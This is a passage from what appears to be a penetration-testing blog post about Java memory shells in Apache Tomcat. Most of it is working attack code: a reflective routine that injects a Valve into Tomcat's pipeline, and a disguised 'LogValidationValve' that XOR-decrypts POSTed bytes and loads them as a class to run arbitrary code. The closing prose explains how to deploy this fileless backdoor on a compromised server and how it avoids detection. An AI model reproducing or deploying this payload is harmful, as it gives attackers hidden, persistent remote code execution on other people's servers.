for (int i = 0; i < valves.length; i++) {
if (valves[i].getClass().getName().equals(valveClass.getName())) {
isValveExist = true;
break;
}
}

if (!isValveExist) {
Object valveInstance = valveClass.getConstructor(new Class[0]).newInstance(new Object[0]);
Method mAddValve = pipeline.getClass().getMethod("addValve", Class.forName("org.apache.catalina.Valve"));
mAddValve.invoke(pipeline, new Object[]{valveInstance});

return "[+] SUCCESS: Class-level Pipeline Valve [" + valveClass.getName() + "] hot-swapped into Tomcat core engine!";
} else {
return "[!] WARN: Target Valve instance already pinned in memory pipeline.";
}
}
}

The corresponding payload can be implemented as follows:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
package org.apache.catalina.valves;

import java.io.IOException;
import java.io.InputStream;
import java.io.ByteArrayOutputStream;
import javax.servlet.ServletException;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.Response;

public class LogValidationValve extends ValveBase {

private static Object globalLoaderInstance = null;
private static String globalAesKey = "[KEY] ";

private static Object cachedResponse = null;
private static Object cachedRequestFacade = null;

public LogValidationValve() {
super(true);
}

public Object getRequest() {
return cachedRequestFacade;
}

public Object getResponse() {
return cachedResponse;
}

public Object getSession() {
return this;
}

public Object getAttribute(String name) {
if ("k".equals(name)) {
return globalAesKey;
}
return null;
}

@Override
public void invoke(Request request, Response response) throws IOException, ServletException {
if ("POST".equalsIgnoreCase(request.getMethod()) && request.getRequestURI().contains("active_core")) {
try {
cachedResponse = response;
cachedRequestFacade = request.getRequest();
if (globalLoaderInstance == null) {
InputStream is = request.getInputStream();
ByteArrayOutputStream bos = new ByteArrayOutputStream();
byte[] buf = new byte[512];
int length;
while ((length = is.read(buf)) != -1) {
bos.write(buf, 0, length);
}
byte[] rawData = bos.toByteArray();

byte[] keyBytes = globalAesKey.getBytes("UTF-8");
byte[] decryptedClassBytes = new byte[rawData.length];
for (int i = 0; i < rawData.length; i++) {
decryptedClassBytes[i] = (byte) (rawData[i] ^ keyBytes[(i + 1) % keyBytes.length]);
}

java.lang.reflect.Method defineMethod = ClassLoader.class.getDeclaredMethod(
"defineClass", new Class[]{byte[].class, int.class, int.class}
);
defineMethod.setAccessible(true);
ClassLoader parentLoader = this.getClass().getClassLoader();

Class<?> clazz = (Class<?>) defineMethod.invoke(parentLoader, new Object[]{decryptedClassBytes, new Integer(0), new Integer(decryptedClassBytes.length)});
java.lang.reflect.Constructor<?> constructor = clazz.getConstructor(new Class[]{ClassLoader.class});
globalLoaderInstance = constructor.newInstance(new Object[]{parentLoader});

response.getWriter().print("LOADER_INIT_SUCCESS");
response.getWriter().flush();
return;
}
else {
try {
Class<?> pulsarClass = globalLoaderInstance.getClass();
java.lang.reflect.Field fKey = null;
try { fKey = pulsarClass.getDeclaredField("KEY"); } catch (Exception ex) { fKey = pulsarClass.getDeclaredField("key"); }
if (fKey != null) {
fKey.setAccessible(true);
fKey.set(null, globalAesKey);
}
} catch (Exception e) {}

globalLoaderInstance.getClass().getMethod("equals", new Class[]{Object.class}).invoke(globalLoaderInstance, new Object[]{this});

response.finishResponse();
return;
}
} catch (Exception ex) {
try {
response.getWriter().print("VALVE_CRITICAL_FAULT: " + ex.toString());
} catch (Exception ignored) {}
response.finishResponse();
return;
}
}

getNext().invoke(request, response);
}
}

Practice with Alien

Since Alien provides a plugin mechanism, pentesters can easily deploy memory shells.

All types of memory shells are based on NebulaPulsar webshells. Alien provides a user interface for creating a memory shell:

Then, copy this hex string to the clipboard.

Now, we can deploy this webshell to a compromised server:

Finally, try accessing /Nihahahaha with a web browser. The server returns an HTTP 404 response. However, Alien can still successfully inject NebulaPulsar into the hidden webshell.

Even if you try to view the /Nihahahaha path with a file explorer, you still cannot find any directory or file named Nihahahaha. This is what we call a fileless attack (or memory shell, or fileless webshell).

Alien also supports other types of memory shells, including Servlet, Valve, and Interceptor. Note that these memory shells are not suitable for every web environment. In addition, for a Valve memory shell, the webshell is available if and only if the active_core pattern appears in the URL.

Note: A memory shell can not only be injected through a webshell, but can also be deployed through vulnerabilities, such as remote code execution via a Deserialization Vulnerability.

Conclusion

In this article, I described different types of Java memory shells. There is actually another type of memory shell called Java Agent, but I am still studying it. It may be introduced in a future release.

In the next article, I will describe different types of C# memory shells.

If you have any comments or suggestions, please feel free to leave a comment!

THANKS FOR READING